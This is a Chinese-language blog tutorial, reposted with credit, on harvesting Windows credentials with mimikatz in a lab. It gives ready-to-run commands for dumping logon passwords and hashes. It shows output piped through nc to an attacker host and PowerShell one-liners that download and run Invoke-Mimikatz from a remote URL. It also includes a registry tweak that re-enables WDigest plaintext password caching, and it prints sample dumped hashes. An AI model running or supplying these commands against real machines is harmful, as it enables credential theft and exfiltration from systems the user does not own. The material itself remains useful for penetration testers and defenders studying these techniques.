Windows Hash 抓取
mimikatz
项目地址:https://github.com/gentilkiwi/mimikatz
Mimikatz 是一个开源的项目,用于 Windows 下读取已经登录过的用户 Hash 和明文密码,要顺利的读取密码必须具有 Admin 或者 System 权限,所以它也是内网渗透神器之一。
本地交互式抓取
运行 mimikatz.exe
,弹出 mimikatz 的窗口,输入如下命令:
显示您是否具有适当的权限来继续:
mimikatz # privilege::debug
启动日志记录功能:
mimikatz # log
输出存储在此计算机上的所有明文密码:
mimikatz # sekurlsa::logonpasswords
此时会在当前 shell 运行的目录下生成 mimikatz.log
,这里面记录了抓取密码的一些详细情况。
本地非交互式抓取
在高权限的 CMD 命令行下直接运行:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit > mimikatz.txt
此时会在当前 shell 运行的目录下生成 mimikatz.txt
,这里面记录了抓取密码的一些详细情况。
远程非交互式抓取
实验环境
设备详情 | IP 地址 | 担任角色 |
---|---|---|
macOS | 10.211.55.2 | 攻击者 |
Windows 7 SP 1 | 10.211.55.12 | 被攻击者 |
本次实验使用 ncat 来做消息反弹,不知道 ncat 命令的同学可以参考我的这篇文章:nc 命令学习记录
macOS
macOS 本机提前做好监听:
ncat -lvp 2333
国光我本人更喜欢 ncat 命令多一点,具体看个人喜好。
Windows
这里为了方便我把 nc.exe
上传到了 mimikatz.exe
的同目录下了:
C:mimikatz_trunkx64>mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit | nc -v 10.211.55.2 2333
DNS fwd/rev mismatch: GG != GG.lan
GG [10.211.55.2] 2333 (?) open
效果
这样操作完成后,即不在目标系统上留下任何文件,直接把抓取到的结果用 nc 发送到指定的远程机,此时 macOS 这边已经拿到返回的密码信息了:
powershell 加载 mimikatz 抓取
目标机器可以连接外网的情况下:
powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
内网的情况下可将脚本下载下来,自己搭建一个本地的 Web 服务器,通过内网 IP 去访问:
powershell IEX (New-Object Net.WebClient).DownloadString('http://10.211.55.2/Invoke-Mimikatz.ps1'); Invoke-Mimikatz
各个系统版本的抓取样本
Windows Server 2003 R2
主要有如下的关键信息:
类型 | 值 |
---|---|
用户名 | Administrator |
明文 | P@ss123 |
LM | 896108c0bbf35b5caad3b435b51404ee |
NTLM | f6502cbe4802f94ab472288970c124cd |
Windows Server 2008 R2
主要有如下的关键信息:
类型 | 值 |
---|---|
用户名 | Administrator |
明文 | P@ss123 |
LM | 896108c0bbf35b5caad3b435b51404ee |
NTLM | f6502cbe4802f94ab472288970c124cd |
Windows Server 2008 R2
Windows Server 2008 R2 默认的配置还是可以读取到 LM 类型的 Hash 的,与网上的理论不符合,说明 WIndows Server 2008 R2 与 Windows 7 依然没有完全禁用掉 LM 类型的 Hash
Authentication Id : 0 ; 2006207 (00000000:001e9cbf)
Session : Interactive from 2
User Name : Administrator
Domain : GG37BE
Logon Server : GG37BE
Logon Time : 2019/11/18 22:36:13
SID : S-1-5-21-1996198258-1617865379-4184567355-500
msv :
[00000003] Primary
* Username : Administrator
* Domain : GG37BE
* LM : 921988ba001dc8e14a3b108f3fa6cb6d
* NTLM : e19ccf75ee54e06b06a5907af13cef42
* SHA1 : 9131834cf4378828626b1beccaa5dea2c46f9b63
tspkg :
* Username : Administrator
* Domain : GG37BE
* Password : P@ssw0rd
wdigest :
* Username : Administrator
* Domain : GG37BE
* Password : P@ssw0rd
kerberos :
* Username : Administrator
* Domain : GG37BE
* Password : P@ssw0rd
ssp :
credman :
主要有如下的关键信息:
类型 | 值 |
---|---|
用户名 | Administrator |
明文 | P@ssw0rd |
LM | 921988ba001dc8e14a3b108f3fa6cb6d |
NTLM | e19ccf75ee54e06b06a5907af13cef42 |
Windows 10 1903
Authentication Id : 0 ; 86025756 (00000000:0520a61c)
Session : Interactive from 9
User Name : sqlsec
Domain : MACBOOKPRO
Logon Server : MACBOOKPRO
Logon Time : 2019/11/18 20:06:24
SID : S-1-5-21-2097287409-4065191294-224695044-1000
msv :
[00000003] Primary
* Username : sqlsec
* Domain : MACBOOKPRO
* NTLM : f00a25418f128daaef2bc89ed94416bd
* SHA1 : 56d7741bca89552362fd24d11bb8980e3d8a444c
tspkg :
wdigest :
* Username : sqlsec
* Domain : MACBOOKPRO
* Password : (null)
kerberos :
* Username : sqlsec
* Domain : MACBOOKPRO
* Password : (null)
ssp :
credman :
主要有如下的关键信息:
类型 | 值 |
---|---|
用户名 | sqlsec |
明文 | 空 这里没有读取到 |
NTLM | f00a25418f128daaef2bc89ed94416bd |
Windows 10 无法使用 mimikatz 读取到明文密码,只能直接读取到加密后的 NTLM
值。
补充
评论下面的网友「语冰」补充了一些姿势点,评论原文如下:
写的挺全,不过少了一个抓明文的知识点,无法使用 mimikatz 读取到明文密码是因为微软在 Win7 之后就打了补丁 KB2871997,当服务器安装 KB2871997 补丁后,系统默认禁用 Wdigest Auth ,内存(lsass 进程)不再保存明文口令,mimikatz 就读不到密码明文,但是该选项是可以手动开启:
reg add HKLMSYSTEMCurrentControlSetControlSecurityProvidersWDigest /v UseLogonCredential /t REG_DWORD /d 1 /f
版权声明:本文内容始发于个人博客>作者 : 国光,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行可。
始发链接:https://www.sqlsec.com/2019/11/winhash.html#mimikatz
在此特别鸣谢:个人博主>国光的创作。
本文已获原作者国光授权发布在本公众号;
原作者已在本公众号关联运营账号(安全小姿势),故在此声明本文原创为国光(安全小姿势)。
此篇文章的所有版权归原作者所有,商业转载建议请联系原作者,非商业转载请注明出处。